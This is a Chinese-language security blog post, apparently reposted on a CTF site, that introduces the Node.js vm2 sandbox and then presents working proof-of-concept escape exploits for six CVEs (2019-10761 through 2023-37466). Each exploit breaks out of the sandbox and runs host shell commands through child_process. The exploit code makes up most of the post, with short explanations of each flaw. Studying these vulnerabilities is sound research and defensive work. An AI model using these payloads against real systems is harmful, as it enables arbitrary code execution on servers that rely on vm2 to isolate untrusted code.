Nodejs中的VM2沙箱逃逸利用方式探讨

渗透技巧 8个月前 admin
121 0 0
在Node.js中,我们可以使用vm模块创建一个沙箱环境,用于执行不受信任的代码。然而,原始的vm模块存在一些隔离功能上的缺陷,并不能完全满足安全性的需求。为了解决这个问题,Node.js进行了升级,引入了vm2沙箱。vm2沙箱是在vm模块的基础上进行了优化和改进的新版本。它继承了vm模块的功能,并在其基础上增强了沙箱的隔离性。vm2沙箱通过使用V8引擎的功能,创建了一个独立的执行环境,使得代码在一个受限的上下文中运行,与主程序环境相分离。然而vm2沙箱也存在着漏洞,导致沙箱逃匿的风险。

vm2沙箱介绍

vm2包结构如下

Nodejs中的VM2沙箱逃逸利用方式探讨

有几个关键文件用于实现使用vm2模块在命令行中创建沙箱环境:

  1. cli.js: 这个文件实现了在命令行中调用vm2的功能,它位于bin目录下。通过运行cli.js,可以在命令行中创建一个沙箱环境。
  2. contextify.js: 这个文件封装了三个对象:Contextify、Decontextify和propertyDescriptor。它还对global的Buffer类进行了代理操作,用于增强沙箱的隔离性和安全性。
  3. main.js: 这个文件是vm2执行的入口点。它导出了NodeVM和VM这两个沙箱环境,并封装了VMScript,实际上是对vm.Script进行了进一步封装,提供了更便捷的接口来执行代码。
  4. sandbox.js: 这个文件用于拦截全局的一些函数和变量,例如setTimeout、setInterval等。通过拦截这些函数和变量,可以控制沙箱环境中的代码执行,增加了对代码的安全性和控制能力。

vm2在相比于vm模块上进行了一系列重要的改进,其中之一是利用了ES6引入的Proxy特性,并通过钩子拦截对constructor和__proto__等属性的访问。

vm2代码演示:

const {VM, VMScript} = require('vm2');
const script = new VMScript("let b=3;b");
console.log((new VM()).run(script));

VM是在vm2模块基础上封装的一个虚拟机。通过实例化VM对象并调用其run方法,可以轻松地运行一段脚本。


vm2沙箱逃逸


vm2 也存在着许多沙箱逃匿问题,常见的exp如下。

CVE-2019-10761

影响版本vm2版本<=3.6.10

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`
;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}
沙箱逃逸说到底就是要从沙箱外获取一个对象,然后获得这个对象的constructor属性,这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数,当递归次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。

CVE-2021-23449

"use strict";
const {VM} = require('vm2');
const untrusted = `
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("ifconfig").toString();
`
;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正则匹配并替换了bimportb关键字,在编译失败的时候,报Dynamic Import not supported错误。

CVE-2023-29199

在版本3.9.15之前的vm2的源代码转换器(异常清理逻辑)中存在一个漏洞,允许攻击者绕过handleException()并泄漏未清理的主机异常,这些异常可用于逃离沙箱并在主机上下文中运行任意代码。

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`


console.log(vm.run(code));

CVE-2023-30547

在版本3.9.16之前的vm2异常清理中存在一个漏洞,允许攻击者在handleException()中引发一个未清理的主机异常,该异常可用于逃离沙箱并在主机上下文中运行任意代码。

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`


console.log(vm.run(code));

CVE-2023-32314

vm2中存在沙箱逃逸漏洞,适用于3.9.17以下版本。它滥用了基于代理规范的主机对象的意外创建。

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("whoami").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`
;

console.log(vm.run(code));

CVE-2023-37466

在vm 3.9.19之前的版本,可以绕过Promise处理程序,使攻击者能够沙箱逃匿并运行任意代码。
const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
            )
        }
    }
};
p.then();
`
;

console.log(vm.run(code));

原文始发于微信公众号(山石网科安全技术研究院):Nodejs中的VM2沙箱逃逸利用方式探讨

版权声明:admin 发表于 2024年3月5日 上午11:54。
转载请注明:Nodejs中的VM2沙箱逃逸利用方式探讨 | CTF导航

相关文章